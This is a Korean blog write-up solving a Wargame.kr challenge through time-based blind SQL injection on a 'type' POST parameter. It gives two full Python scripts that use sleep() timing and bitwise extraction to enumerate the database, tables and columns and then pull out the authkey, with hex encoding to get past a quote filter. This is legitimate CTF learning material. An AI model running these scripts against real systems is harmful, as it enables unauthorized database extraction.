Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 공격 포인트는 간단하지만, 공격 코드 짜는 게 여간 힘든 일이었습니다.


 

 문제 이해


문제는 다음과 같습니다.


친절합니다.


위에서 Time Based SQL Injection 이라고 알려주었습니다.

다만 그외에 정보가 따로 없습니다... Database, Table, Column이름을 모두 알아내야 합니다.


아래에서 공격 벡터를 찾기 위해 쭉 찾아보았는데,


to JSMaster 부분에서 POST값으로 보내는 type 부분에서 sleep 함수가 통하며, Time Based SQLi가 되는 것을 확인하였습니다.



아래의 코드와 같이 테스트하였으며, 2초 뒤에 반환되는 것을 보았습니다.



 

 문제 풀이


문제를 풀기 위한 코드입니다.

모두 두 가지로 나누었으며, MySQL 내부의 정보를 긁어오는 코드와 이를 이용하여 풀이를 진행한 코드입니다.


다만 유의해야 할 점은 싱긍쿼터가 필터링 되어 있기 때문에 HEX 값으로 대신 문자열을 비교하였습니다.


 

 MySQL Scanner(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Database Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if(length(database())=%s,sleep(3),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass


bitLen = 8
dbName = ""

for dblen in range(1, dbLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dblen" : dblen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    dbName += chr(int(tmpBit,2))
    print("[+] Found Word : ", dbName)

print("[+] Found DB Name : %s" % dbName)




# Table Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName  = "qna"

# Table Count
for count in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(table_name) from information_schema.tables where table_schema=%(dbName)s)=%(count)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "count" : count}
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Table Count : %d" % count)
        tableCnt    = count
        break
    else:
        pass


# Table Length
tableLen = []

for tcnt in range(tableCnt):
    for length in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select length(table_name) from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1)=%(length)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "length" : length, "tcnt" : tcnt}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Table Length : %d" % length)
            tableLen.append(length)
            break
        else:
            pass

print("[+] Found All Table Length : ", tableLen)


# Table Name
bitLen      = 8
tableName   = []

for tcnt in range(tableCnt):

    tmpName = ""

    for tlen in range(1, tableLen[tcnt]+1):
        
        tmpBit = ""

        for blen in range(1, bitLen+1):
            tmpTime         = time.time()
            data['type']    = "1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1),%(tlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dbName" : str2hex(dbName), "tlen" : tlen, "bitLen" : bitLen, "blen" : blen, "tcnt" : tcnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                tmpBit += "1"
            else:
                tmpBit += "0"


        tmpName += chr(int(tmpBit,2))
        print("[+] Found Word : ", tmpName)

    print("[+] Found Table Name : %s" % tmpName)
    tableName.append(tmpName)

print("[+] Found All Table Name : ", tableName)





# Column Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName      = "qna"
tableCnt    = 2
tableName   = ['authkey', 'message']
columnCnt   = []

# Column Count
for tcnt in range(tableCnt):
    for count in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select count(column_name) from information_schema.columns where table_name=%(tableName)s)=%(count)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "count" : count}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Column Count : %d" % count)
            columnCnt.append(count)
            break
        else:
            pass


# Column Length
columnLen = []

for tcnt in range(tableCnt):

    tmpLen = []

    for ccnt in range(columnCnt[tcnt]):

        for length in range(100):
            tmpTime         = time.time()
            data['type']    = "1 and if((select length(column_name) from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1)=%(length)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "length" : length, "ccnt" : ccnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                print("[+] Found Column Length : %d" % length)
                tmpLen.append(length)
                break
            else:
                pass

    columnLen.append(tmpLen)

print("[+] Found All Column Length : ", columnLen)



# Column Name
bitLen      = 8
columnName  = []


for tcnt in range(tableCnt):

    tmpNameList = []

    for ccnt, clen in enumerate(columnLen[tcnt]):

        tmpName = ""
        
        for cl in range(1, clen+1):

            tmpBit = ""

            for blen in range(1, bitLen+1):
                tmpTime         = time.time()
                data['type']    = "1 and if(substr(lpad(bin(ord(substr((select column_name from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1),%(cl)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "cl" : cl, "bitLen" : bitLen, "blen" : blen, "ccnt" : ccnt}
                res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

                if (time.time() - tmpTime) >= 1.5:
                    tmpBit += "1"
                else:
                    tmpBit += "0"

            tmpName += chr(int(tmpBit,2))
            print("[+] Found Word : ", tmpName)

        print("[+] Found Tmp Column Name : %s" % tmpName)
        tmpNameList.append(tmpName)

    print("[+] Found Column Name : ", tmpNameList)
    columnName.append(tmpNameList)

print("[+] Found All Column Name : ", columnName)


    



 

 Solve(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Value Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Value Count
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Count : %d" % i)
        valueCnt = i
        break
    else:
        pass

# Value Length
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select length(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Length : %d" % i)
        valueLen = i
        break
    else:
        pass

bitLen      = 8
valueLen    = 40
value       = ""

for vlen in range(1, valueLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr((select authkey from authkey limit 0,1),%(vlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"vlen" : vlen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    value += chr(int(tmpBit,2))
    print("[+] Found Word : ", value)

print("[+] Found Value : %s" % value)






+ Recent posts